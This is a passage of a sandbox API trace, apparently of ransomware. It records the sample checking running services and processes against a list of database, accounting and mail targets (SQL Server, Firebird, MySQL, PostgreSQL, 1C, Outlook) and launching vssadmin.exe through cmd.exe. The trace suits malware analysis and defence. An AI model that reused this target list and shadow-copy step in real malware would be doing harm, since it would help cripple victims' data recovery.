lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.320] lstrlenW (lpString="PcaSvc") returned 6 [0135.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.320] lstrlenW (lpString="PlugPlay") returned 8 [0135.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.321] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.321] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.321] lstrlenW (lpString="Power") returned 5 [0135.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.321] lstrlenW (lpString="ProfSvc") returned 7 [0135.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.321] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.321] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.321] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.321] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.321] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.321] lstrlenW (lpString="RpcSs") returned 5 [0135.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.322] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.322] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.322] lstrlenW (lpString="SamSs") returned 5 [0135.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.322] lstrlenW (lpString="Schedule") returned 8 [0135.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.322] lstrlenW (lpString="SENS") returned 4 [0135.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.322] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.323] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.323] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.323] lstrlenW (lpString="Spooler") returned 7 [0135.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.323] lstrlenW (lpString="Themes") returned 6 [0135.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0135.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0135.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0135.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0135.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0135.324] lstrlenW (lpString="UxSms") returned 5 [0135.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0135.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0135.324] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0135.324] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0135.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0135.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0135.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0135.327] Process32FirstW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.328] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.328] lstrlenW (lpString="System") returned 6 [0135.328] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0135.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0135.328] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0135.328] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0135.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0135.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0135.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0135.329] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.329] lstrlenW (lpString="smss.exe") returned 8 [0135.329] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0135.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0135.329] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0135.329] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0135.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0135.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0135.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0135.330] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.330] lstrlenW (lpString="csrss.exe") returned 9 [0135.330] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0135.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0135.331] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0135.331] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0135.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0135.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0135.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0135.331] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.331] lstrlenW (lpString="wininit.exe") returned 11 [0135.331] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0135.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0135.332] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.332] lstrlenW (lpString="csrss.exe") returned 9 [0135.332] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0135.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0135.332] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0135.332] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0135.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0135.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0135.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0135.333] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.333] lstrlenW (lpString="winlogon.exe") returned 12 [0135.333] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0135.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0135.333] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.334] lstrlenW (lpString="services.exe") returned 12 [0135.334] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0135.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0135.334] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.334] lstrlenW (lpString="lsass.exe") returned 9 [0135.335] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0135.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0135.335] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0135.335] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0135.335] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0135.335] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0135.335] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0135.335] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0135.335] lstrlenW (lpString="lsm.exe") returned 7 [0135.335] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0135.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0135.335] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0135.335] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0135.335] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0135.335] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0135.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0135.336] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.336] lstrlenW (lpString="svchost.exe") returned 11 [0135.336] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.336] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.336] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.337] lstrlenW (lpString="svchost.exe") returned 11 [0135.337] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.337] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.337] lstrlenW (lpString="svchost.exe") returned 11 [0135.337] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.338] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.338] lstrlenW (lpString="svchost.exe") returned 11 [0135.338] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0135.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0135.338] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.339] lstrlenW (lpString="svchost.exe") returned 11 [0135.339] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0135.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0135.339] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0135.339] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.339] lstrlenW (lpString="audiodg.exe") returned 11 [0135.340] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.340] lstrlenW (lpString="svchost.exe") returned 11 [0135.340] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.340] lstrlenW (lpString="svchost.exe") returned 11 [0135.341] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.341] lstrlenW (lpString="spoolsv.exe") returned 11 [0135.341] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0135.341] lstrlenW (lpString="taskhost.exe") returned 12 [0135.341] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.342] lstrlenW (lpString="svchost.exe") returned 11 [0135.342] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0135.342] lstrlenW (lpString="userinit.exe") returned 12 [0135.342] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.343] lstrlenW (lpString="dwm.exe") returned 7 [0135.343] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.343] lstrlenW (lpString="explorer.exe") returned 12 [0135.343] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0135.344] lstrlenW (lpString="3G6885.exe") returned 10 [0135.344] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0135.344] lstrlenW (lpString="reader_sl.exe") returned 13 [0135.344] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.344] lstrlenW (lpString="dllhost.exe") returned 11 [0135.345] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0135.345] lstrlenW (lpString="cmd.exe") returned 7 [0135.345] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.345] lstrlenW (lpString="conhost.exe") returned 11 [0135.346] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0135.346] lstrlenW (lpString="vssadmin.exe") returned 12 [0135.346] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0135.347] CloseHandle (hObject=0x334) returned 1 [0135.347] Sleep (dwMilliseconds=0x1f4) [0135.949] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89c8 [0135.950] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0135.951] GetLastError () returned 0xea [0135.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41d77b8 [0135.951] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0135.952] CloseServiceHandle (hSCObject=0x41d89c8) returned 1 [0135.952] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 